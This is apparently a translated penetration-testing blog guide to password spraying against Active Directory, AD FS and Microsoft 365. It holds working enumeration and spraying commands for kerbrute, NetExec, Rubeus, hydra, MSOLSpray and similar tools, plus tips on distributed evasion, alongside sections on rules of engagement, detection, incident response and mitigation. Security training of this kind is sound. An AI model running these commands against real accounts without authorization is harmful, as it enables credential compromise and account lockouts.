windows

Password Spraying: A Complete Guide to AD, AD FS, and Entra ID

Password Spraying: A Complete Guide to AD, AD FS, and Entra ID

Learn about Active Directory password spraying: techniques, authorized pentesting tools, detection, and defenses against weak password access.

  • Posted on 2026-07-20
  • Reading time: 8 min

Password Spraying Active Directory: Initial Login with Weak Passwords #

Password spraying tests one or a few common passwords against all user accounts in the domain. Unlike brute force, it never exceeds the lockout threshold—and a single weak password across all users is enough to gain an authenticated foothold.


It's one of the most effective initial login techniques in Active Directory environments because it exploits an organizational reality: in any domain with hundreds or thousands of users, statistically someone has set a predictable password tied to the company name or the season. No exploits are needed—just find that single account.

Documented APT groups using password spraying regularly: Midnight Blizzard via Kerberos on Microsoft 365 tenants, Peach Sandstorm against defense and pharmaceutical sectors, ransomware groups using SharpSpray on on-prem AD.

Classified by MITRE ATT&CK as T1110.003.


Password Spraying vs Brute Force vs Credential Stuffing #

TechnologyWhat is testing?Volume per accountLockout risk
Password sprayingA few common passwords across many accountsLow (1-2)Low if calibrated
Brute forceMany passwords on one accountHighHigh
Credential stuffingUsername:password pairs already valid due to breachLow per account, but already associatedVariable

Password spraying and credential stuffing are similar in their ability to “stay under lockout,” but differ in their source: spraying tests guessed passwords, while stuffing uses previously stolen and associated credentials . See credential stuffing for more information.


Rules of Engagement — Before Any Command #

A password spray test should always be conducted with a clear perimeter agreed upon with the client:

  • explicit written authorization for the activity
  • exclusion of privileged accounts and emergency accounts (break-glass)
  • list of authorized applications/protocols (AD, VPN, OWA, SaaS…)
  • maximum number of attempts and operating window agreed upon
  • customer contact person reachable during the test
  • stop condition defined in advance, with account unlocking procedure already in place

This perimeter must be respected regardless of the chosen technique—even when distributing attempts across multiple sources, the goal remains to measure the resilience of the agreed-upon controls, not to intentionally circumvent the customer's SOC outside of the approved scope.


Attack Surfaces #

Password and lockout policies are not uniform across environments — they should be treated separately:

  1. Internal AD — Kerberos, LDAP, SMB, NTLM
  2. Services on display — VPN, RD Gateway, OWA, Citrix, corporate portals
  3. AD FS — federated endpoints, Web Application Proxy, Extranet Smart Lockout
  4. Sign in ID / Microsoft 365 — Smart Lockout, Conditional Access, Identity Protection
  5. Custom applications — web forms, API, mobile authentication

Username Enumeration #

bash
# Da Linux — enumerazione via RPC
enum4linux-ng -U <DC_IP>
rpcclient -U "" -N <DC_IP> -c "enumdomusers"

# ldapnomnom / LDAP anonymous bind
ldapsearch -x -H ldap://<DC_IP> -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName

# Kerbrute — valida username senza credenziali (AS-REQ enumeration)
./kerbrute userenum --dc <DC_IP> -d corp.local usernames.txt

# NetExec — lista utenti con credenziali già note
nxc smb <DC_IP> -u utente -p 'password_test' --users

Username format: If not already known, it should be derived by observing public naming conventions (company emails, LinkedIn, public document metadata using tools like FOCA) before generating the list. A list of statistically plausible usernames (e.g., common initials+surname combinations) can supplement direct enumeration when the latter is not feasible.


SpearSpray — Spraying Policy-Aware #

SpearSpray deserves a special mention because it solves many of the calibration problems described above natively:

  • User enumeration via LDAP with paging (useful for large domains; the default page size is 200, adjustable)
  • automatic reading of the domain policy e of the PSOs (FGPP), with a configurable buffer of attempts to be left as a margin with respect to the badPwdCount of each user
  • Kerberos pre-auth validation (generates 4768/4771 on DCs, not 4625)
  • per-user password generation based on patterns (first name, last name, time values ​​derived from the pwdLastSet of the single user)
  • Ability to tag compromised principals directly in Neo4j for pathing with BloodHound

This type of tooling automates exactly the safety margin described above, instead of leaving it to manual calculation.

legba — multi-protocol spraying #

bash
legba kerberos --target <DC_IP> --username admin --password wordlists/passwords.txt --kerberos-realm corp.local

legba supports Kerberos as well as numerous other protocols with a single command line interface.


Resulting Policy — What to Check Before Spraying #

Just checking the Default Domain Policy is not enough: Fine-Grained Password Policies (FGPP) can apply different thresholds to specific groups, and each user can already have badPwdCount accumulated from independent attempts (mobile login, services with saved credentials, synchronizations).

powershell
# Default Domain Policy
net accounts /domain

# PowerView — SystemAccess (Default Domain Policy)
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess

# Fine-Grained Password Policies applicate nel dominio
Get-ADFineGrainedPasswordPolicy -Filter *

# badPwdCount del singolo utente prima di iniziare — evita sorprese
Get-ADUser -Identity jsmith -Properties BadPwdCount, LockedOut
bash
# Via LDAP da Linux
ldapsearch -x -H ldap://<DC_IP> -D "utente@corp.local" -w 'password_test' \
  -b "DC=corp,DC=local" "(objectClass=domain)" \
  lockoutThreshold lockoutObservationWindow lockoutDuration

Please note:

  • Privileged accounts and service accounts may have different (often more stringent) FGPPs
  • Accounts with passwords that never expire should be reported as risky regardless of the spray
  • Synced/federated accounts (AD Connect, ADFS) may have different lockout behavior between on-prem and cloud

Recommended safety margin: do not calculate the maximum number of rounds as lockoutThreshold - 1 automatically. Always consider a margin for attempts already accumulated elsewhere, and prefer only one round per window when you have no visibility on the badPwdCount of each individual user.


Password Spraying via Kerberos, LDAP, SMB #

Kerbrute #

bash
./kerbrute passwordspray --dc <DC_IP> -d corp.local users.txt 'PasswordDiTest1!'

NetExec #

bash
# SMB
nxc smb <DC_IP> -u users.txt -p 'PasswordDiTest1!' --no-bruteforce --continue-on-success

# LDAP
nxc ldap <DC_IP> -u users.txt -p 'PasswordDiTest1!' --no-bruteforce --continue-on-success

Talon — automatic rotation between protocols and DCs #

bash
Talon_linux_amd64 -H <DC_IP> -D corp.local -Userfile users.txt -P 'PasswordDiTest1!'

Talon automatically switches between Kerberos and LDAP, and rotates between multiple domain controllers if provided — useful for distributing generated telemetry, not for “hiding” from the SOC.

Other tools of the same family #

  • CredMaster — spray against cloud endpoints with proxy support
  • sprayhound — Python wrapper over NetExec designed for lockout policy-calibrated spraying
  • conpass — spraying with automatic password policy management
  • Ruler — especially useful against OWA/Exchange
bash
ruler-linux64 --domain corp.local -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose

Rubeus — spray via Kerberos #

powershell
.\Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:corp.local /outfile:results.txt

The parameter /delay It is not documented in a stable way in the current version of the tool — check if it is available in your build before relying on it for timing.

DomainPasswordSpray #

powershell
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password 'PasswordDiTest1!' -Verbose

The script automatically calculates users from the domain and limits attempts based on the detected password policy — however, check its behavior on the version in use, since the management of the badPwdCount has had issue notes in the past.

To exclude disabled accounts from the LDAP filter, you need to use an explicit deny:

powershell
-Filter "(!(userAccountControl:1.2.840.113556.1.4.803:=2))"

The filter without negation ((userAccountControl:1.2.840.113556.1.4.803:=2)) instead select accounts with the flag ACCOUNTDISABLE —that is, it includes them, it doesn't exclude them.

Password Spraying on Web Forms #

bash
hydra -L users.txt -p 'PasswordDiTest1!' https-post-form \
  "//company.com/login:username=^USER^&password=^PASS^:Invalid password" \
  -t 1 -w 30

Password to Test #

Seasonal patterns (Stagione+Anno!, NomeAzienda+Anno!) are still common in environments with legacy mandatory password expiration policies. This practice is now discouraged by both NIST and Microsoft, who recommend against forcing periodic password changes without evidence of compromise—which is why, paradoxically, environments with the most "old-school" policies remain the most predictable to test.

text
NomeAzienda + Anno + simbolo
Stagione + Anno + simbolo
Mese + Anno + simbolo
Password comuni generiche (top 10k)

Timing #

text
lockoutThreshold = 5
lockoutObservationWindow = 30 minuti

→ margine di sicurezza: 1 round per finestra, non "soglia - 1" calcolata in automatico
→ verificare badPwdCount residuo per gli utenti critici prima di ogni round

The difference between Kerberos, LDAP, SMB and NTLM is not “stealthier” in an absolute sense, but different telemetry : each protocol produces different events, and a protocol that avoids a commonly monitored event (e.g. 4625 for NTLM) still generates others (e.g. 4771 for Kerberos) that a mature SOC still observes.


Password Spraying for Hybrid Environments — Sign in with Microsoft 365 #

In hybrid environments, password spraying also affects cloud portals, where policies may differ from on-prem ones.

powershell
# MSOLSpray — spray su tenant Microsoft 365
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password 'PasswordDiTest1!' -Verbose

Note: Many modern tenants have disabled Basic Authentication on Exchange Online and legacy flows like Resource Owner Password Credentials (ROPC), which are now deprecated and incompatible with MFA. Legacy tools like MSOLSpray can therefore have very different results depending on the target tenant's configuration—they should be considered useful but context-dependent, not universally functional.

bash
# Trevorspray — spray multi-threaded su Microsoft 365
pip install trevorspray
trevorspray -u users.txt -p 'PasswordDiTest1!' --ms-graph

Key differences cloud vs. on-prem:

  • Before spraying, you need to identify whether the tenant is managed, federated or hybrid: the authentication endpoint and lockout behavior change accordingly.
  • Enter ID Smart Lockout does not increment the lockout counter if you repeat the same incorrect password — it only increments it when you try a password. new; this changes the way a round is counted compared to the traditional AD lockout
  • Tenants using Pass-Through Authentication (PTA) do not benefit from Microsoft's bad password hash tracking, and should therefore be treated as lockout-sensitive targets more similar to classic AD
  • Microsoft Login ID Protection detects spray patterns primarily when a password is successfully validated; failed attempts alone do not necessarily generate specific risk detection.
  • Cloud logs (Entra ID Sign-in logs) are separate from on-prem AD logs — a SOC may only monitor one of them
  • Federated accounts (AD FS) have dedicated protection: Extranet Smart Lockout, designed to distinguish familiar sources from hostile attempts on federated accounts

Distributed and Low-and-Slow Patterns #

A single host testing many users is the easiest pattern to detect. More evasive campaigns instead use:

  • many IP addresses against many users, few attempts per single source
  • distributed proxy infrastructures
  • irregular intervals between attempts
  • same pattern repeated against multiple applications from the same organization
  • campaigns that last days instead of minutes

Modern risk detection systems (including Entra ID Protection) correlate patterns across multiple IP addresses and identifiers, not just volume from a single source — which is why IP distribution alone doesn’t guarantee you’ll stay under the radar.


Practical Scenario in an Authorized Pentest #

Internal network, no initial credentials, list of 500 users obtained via enumeration.

bash
# 1. Verifica lockout policy
ldapsearch -x -H ldap://<DC_IP> -b "DC=corp,DC=local" "(objectClass=domain)" lockoutThreshold
# lockoutThreshold: 5 → margine di sicurezza: un round per finestra

# 2. Primo round, un solo tentativo per utente
./kerbrute passwordspray --dc <DC_IP> -d corp.local users.txt 'PatternStagionale!'
# → Hit su un account

# 3. Con le credenziali ottenute → enumerazione AD
nxc ldap <DC_IP> -u jsmith -p 'PatternStagionale!' --users

A single compromised account opens the door to full AD enumeration, Kerberoasting , and AS-REP Roasting.


Detection #

Windows / AD on-prem:

  • Event ID 4625 — logon failed, generated on the system receiving the attempt (not necessarily on the DC)
  • Event ID 4771 — Kerberos pre-authentication failure, generated only on domain controllers when the KDC does not issue the TGT (code 0x18 = invalid pre-authentication credentials, typically incorrect password)
  • Event ID 4768 — TGT request, useful for correlating Kerberos authentications
  • Event ID 4740 — account locked, allows you to correlate the effect of the lockout with the source of the spray

Pattern Signals:

  • same IP source with failures on dozens of different accounts in a short time
  • regular timing between attempts (recognizable automation)
  • Previously inactive accounts that suddenly start going bankrupt

AD FS and cloud (separate from on-prem AD discovery):

  • Microsoft Defender for Identity — dedicated detection for Kerberos/NTLM/LDAP on-prem
  • Microsoft Login ID Protection — sign-in risk and user risk, primarily on successfully validated credentials
  • Microsoft Defender XDR — Cross-Workload Correlation
  • Dedicated AD FS logs for federated endpoints

Incident Response after a Credential Found #

  1. Contain or temporarily block the affected account
  2. Change password
  3. Revoke active sessions and linked cloud tokens
  4. Check for recently registered and unrecognized MFA methods
  5. Check forwarding/filtering rules on your email inbox
  6. Check for successful logins after spraying, including on VPN/SaaS/internal applications
  7. Look for lateral movement from the compromised account
  8. Check if the same password has been reused by other accounts

Mitigation #

  • Fine-Grained Password Policy — apply risk-based thresholds to sensitive accounts, avoiding thresholds so low (e.g., 3) that an attacker could deliberately lock out administrators; Microsoft recommends higher thresholds (e.g., 10) or, in some models, no lockout at all, accompanied by compensating controls.
  • Password ban list — Block common passwords when changing passwords; native to the cloud, requires dedicated agents on DCs for on-premises extension
  • MFA, ideally phishing-resistant (FIDO2/passkey) — even with valid credentials, requires a second factor
  • Smart Lockout (Enter ID) and Extranet Smart Lockout (AD FS) — distinguish spray patterns from legitimate access
  • Conditional access — blocking or restriction from unusual countries/IPs, risk-based policies
  • Disabling legacy authentication methods (including ROPC) where not required
  • Separate cloud-only administrative accounts and emergency account protection
  • Unique passwords for service accounts, use of gMSA where applicable
  • Aggregate monitoring of Event ID 4625/4771/4740 per IP source, not isolated fixed thresholds

FAQ #

What's the difference between password spraying and brute force? Brute force tests many passwords on a single account, risking bypassing the lockout. Password spraying tests one or a few passwords on many accounts, staying below the threshold—the goal is to find the single account with the weak password.

Can I automatically calculate the number of rounds as lockoutThreshold - 1? Not reliably. Attempts already accumulated elsewhere, user-specific FGPPs, and differences between environments make a conservative margin safer, with verification of the badPwdCount residue where possible.

What's different about Entra ID Smart Lockout compared to traditional AD lockout? Smart Lockout distinguishes attempts that appear to come from familiar locations/devices from those that appear hostile, reducing false positives compared to a lockout based purely on failure counts.


Conclusion #

Password spraying remains one of the most effective initial access vectors in AD because it exploits a human flaw that no patch can address: people choose predictable passwords. In an engagement, finding a single account with a weak password opens the door to the entire post-exploitation chain. Defense requires multiple layers in parallel: a password ban list, a context-specific lockout policy (not universally fixed thresholds), a phishing-resistant MFA, and monitoring that covers both on-prem Windows events and cloud/AD FS logs separately.


Resources:

#passwordspraying #active directory #credential access #enter id

leave a message

I'm not a robot